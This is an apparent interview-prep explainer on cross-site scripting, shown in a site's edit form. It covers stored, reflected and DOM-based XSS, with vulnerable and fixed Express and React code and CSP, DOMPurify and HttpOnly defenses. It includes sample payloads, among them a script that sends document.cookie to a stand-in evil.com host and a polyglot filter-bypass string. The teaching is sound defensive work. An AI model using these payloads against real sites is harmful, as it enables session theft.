Suggest an editImprove this articleRefine the answer for “What is XSS and how to prevent it?”. Your changes go to moderation before they’re published.Approval requiredContentWhat you’re changing🇺🇸EN🇺🇦UAPreviewTitle (EN)Short answer (EN)**XSS (Cross-Site Scripting)** is a vulnerability where attackers inject malicious scripts into trusted web pages and the browser executes them. Fix: escape user content at output (not input), sanitize HTML with DOMPurify, set a Content Security Policy header, and mark session cookies as HttpOnly.Shown above the full answer for quick recall.Answer (EN)Image**XSS (Cross-Site Scripting)** is a web vulnerability where an attacker injects malicious scripts into a page you trust, and your browser runs them. ## Theory ### TL;DR - XSS is like slipping a forged note into your bank's system: the browser (teller) treats it as legitimate and executes it - Three types: Stored (script saved to DB, hits every viewer), Reflected (script bounced back via URL once), DOM-based (client-side JS writes attacker input directly to the page) - The browser has no way to tell which scripts you wrote and which ones got injected - Fix: escape at output (not input), sanitize HTML, add a CSP header - React auto-escapes JSX, but `dangerouslySetInnerHTML` skips that protection entirely ### Quick example ```html <!-- Vulnerable PHP search page --> <h1>Results for: <?php echo $_GET['q']; ?></h1> <!-- Attack URL --> page.php?q=<script>alert(document.cookie)</script> <!-- Browser sees it as real HTML and executes the script --> ``` One unescaped `echo` and the browser runs whatever the URL says. That is the whole attack. ### Three types of XSS **Stored XSS** saves the payload to your database. A comment containing `<script>fetch('https://evil.com?c='+document.cookie)</script>` fires for every user who loads that page. One injection, unlimited victims. **Reflected XSS** works through a URL. The server reads `?q=<script>...` and writes it straight into the HTML response. It fires once per click on the crafted link. **DOM-based XSS** never touches the server. Client-side JS reads from `location.hash` or `location.search` and writes to `innerHTML`. The server sends a perfectly clean response, and the browser attacks itself. ```javascript // DOM-based: the server never sees the payload const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); document.getElementById('result').innerHTML = query; // URL: #q=<img src=x onerror=alert(1)> → executes ``` ### Why the browser executes injected scripts Browsers parse HTML through an engine (Blink in Chrome, Gecko in Firefox). When the parser hits a `<script>` tag or an event attribute like `onerror`, it hands that to the JS engine (V8 in Chrome) for execution. The engine does not check origin at this stage. It runs whatever the parser gives it. Same-origin policy controls what scripts can *request*, not what they can *execute*. So an injected script runs with full access to `document.cookie`, `localStorage`, and the DOM, all within the trusted origin. ### When to apply which defense - Rendering user content as plain text: use `textContent` instead of `innerHTML`, or a template engine that auto-escapes - Rendering user-supplied HTML (rich text, Markdown): sanitize with DOMPurify before inserting - URL parameters reflected into HTML: HTML-encode the output, not just the input - Inline scripts (analytics, A/B tests): use CSP with nonces, not `unsafe-inline` - Cookies with session data: set `HttpOnly: true` so injected scripts cannot read them One rule covers most cases: escape at the point of output, not the point of input. ### How output escaping works ```javascript function escapeHtml(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, '''); } // Safe Express route app.get('/search', (req, res) => { const q = escapeHtml(req.query.q ?? ''); res.send(`<h1>Results for: ${q}</h1>`); // <script> becomes <script> — browser shows text, never executes }); ``` ### Common mistakes **Escaping on input, not output.** Saving `escape(userInput)` to the database and then rendering with `<%= raw(post.comment) %>`. The DB escape does not equal HTML escaping. Attackers submit `<script>`, which decodes back to `<script>` on output. Fix: escape at render time, every time. ```javascript // Wrong db.save({ comment: sanitize(raw) }); // ...then later... res.send(`<p>${post.comment}</p>`); // Trusts the DB // Right res.send(`<p>${escapeHtml(post.comment)}</p>`); // Escape at output ``` **Whitelisting tags but not attributes.** Allowing `<b>` while leaving `onmouseover` intact. The result: `<b onmouseover=alert(1)>hi</b>` executes. A real sanitizer like DOMPurify handles attributes, not just tag names. ```javascript // Wrong: naive tag filter const safe = html.replace(/<script>/gi, ''); // <scr<script>ipt> bypasses this instantly // Right import DOMPurify from 'dompurify'; const safe = DOMPurify.sanitize(html); // Strips dangerous attributes too ``` **CSP with `unsafe-inline`.** Setting `script-src 'self' 'unsafe-inline'` defeats the whole point. OWASP data puts around 40% of CSP headers misconfigured this way. Use nonces or hashes for any inline script you actually need. ```javascript // Wrong "script-src 'self' 'unsafe-inline'" // Right: fresh nonce per request const nonce = crypto.randomBytes(16).toString('base64'); res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`); // Then in your template: <script nonce="${nonce}">... ``` **`dangerouslySetInnerHTML` in React without sanitization.** React escapes JSX by default. The moment you use `dangerouslySetInnerHTML`, that protection is gone. I have seen this in Next.js Markdown renderers that pull raw HTML from a CMS and pass it straight into the prop. ```jsx // Vulnerable function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: content }} />; } // Fixed import DOMPurify from 'dompurify'; function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }} />; } ``` ### Real-world usage - **Express + Helmet:** `app.use(helmet())` sets a strict CSP and other security headers in one line - **React:** JSX auto-escapes, so `{userInput}` is safe; only `dangerouslySetInnerHTML` needs attention - **Angular:** `DomSanitizer` sanitizes by default; `bypassSecurityTrustHtml()` disables it and needs a code review comment explaining why - **PHP Laravel:** Blade's `{{ $var }}` auto-escapes; `{!! $var !!}` does not; treat the double-bang as a red flag in code review - **GitHub and Twitter:** enforce `script-src 'nonce-...'` in production; no `unsafe-inline` anywhere ### Follow-up questions **Q:** Name the three types of XSS with one example each. **A:** Stored: a comment with `<script>` saved to DB and executed for all visitors. Reflected: `?q=<script>` echoed back in the search results HTML. DOM-based: `location.hash` written directly to `innerHTML` on the client. **Q:** What is the difference between `innerHTML` and `textContent`? **A:** `innerHTML` parses the string as HTML and executes event handlers and scripts. `textContent` inserts the string as plain text, no parsing at all. Use `textContent` whenever you do not need HTML structure. **Q:** How does CSP reduce XSS risk? **A:** CSP tells the browser which script sources are approved. If an attacker injects a `<script>` tag, the browser blocks it because the source is not on the list. Nonces like `'nonce-abc123'` allow specific inline scripts while blocking everything else. **Q:** Can a sanitizer miss anything? **A:** Yes. Sanitizers work against known attack patterns. Polyglot payloads like `javascript:/*</textarea><script>alert(1)</script>` can work across multiple contexts (URL, HTML, JS attribute) and may slip through a custom filter. DOMPurify is updated regularly against new bypasses. A hand-rolled tag whitelist is almost always incomplete. **Q (Senior):** Explain CSP `frame-ancestors` vs `sandbox`. **A:** `frame-ancestors` controls which origins can embed your page in an iframe, which blocks clickjacking attacks. `sandbox` applies restrictions to an iframe loading untrusted content: no scripts, no popups, no form submission unless explicitly allowed. They solve different problems: one protects your page from being framed, the other constrains what a framed page can do. ## Examples ### Stored XSS in Express ```javascript const express = require('express'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); // Vulnerable version app.post('/comment', (req, res) => { db.save({ comment: req.body.comment }); // Saves <script>steal()</script> as-is }); app.get('/comments', (req, res) => { const rows = db.getAll(); // Every visitor's browser executes the stored script res.send(rows.map(r => `<p>${r.comment}</p>`).join('')); }); // Fixed version app.post('/comment', (req, res) => { const clean = DOMPurify.sanitize(req.body.comment); // Strip on save db.save({ comment: clean }); }); app.get('/comments', (req, res) => { const rows = db.getAll(); res.send(rows.map(r => `<p>${escapeHtml(r.comment)}</p>`).join('')); // Double layer: sanitize on save, escape on render }); ``` Sanitizing on save AND escaping on render is not redundancy. If one layer fails, the other catches it. ### DOM-based XSS in React ```jsx // Vulnerable: reads URL hash, writes raw HTML function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); return <div dangerouslySetInnerHTML={{ __html: query }} />; // URL: #q=<svg onload=alert(1)> → React renders SVG → onload fires } // Fixed import DOMPurify from 'dompurify'; function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); // Option 1: sanitize and allow HTML markup return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(query) }} />; // Option 2: treat as plain text — preferred when HTML structure is not needed // return <div>{query}</div>; } ``` ### Complete Express defense stack ```javascript const express = require('express'); const helmet = require('helmet'); const crypto = require('crypto'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); app.use(express.json()); // Helmet sets X-XSS-Protection, X-Content-Type-Options, and a base CSP app.use(helmet()); // Generate a fresh nonce for inline scripts on every request app.use((req, res, next) => { res.locals.nonce = crypto.randomBytes(16).toString('base64'); res.setHeader( 'Content-Security-Policy', `default-src 'self'; script-src 'self' 'nonce-${res.locals.nonce}'; style-src 'self'` ); next(); }); // HttpOnly cookie so injected scripts cannot read the session token app.post('/login', (req, res) => { res.cookie('session', generateSessionId(), { httpOnly: true, secure: true, sameSite: 'strict' }); res.json({ ok: true }); }); // Validate length and type, then sanitize before saving app.post('/api/comment', (req, res) => { const raw = req.body.comment; if (!raw || typeof raw !== 'string' || raw.length > 2000) { return res.status(400).json({ error: 'Invalid input' }); } const clean = DOMPurify.sanitize(raw); db.save({ comment: clean }); res.json({ ok: true }); }); ``` Three layers working together: CSP blocks execution at the browser level, DOMPurify strips dangerous markup before saving, and `HttpOnly` limits cookie access even if something slips through.For the reviewerNote to the moderator (optional)Visible only to the moderator. Helps review go faster.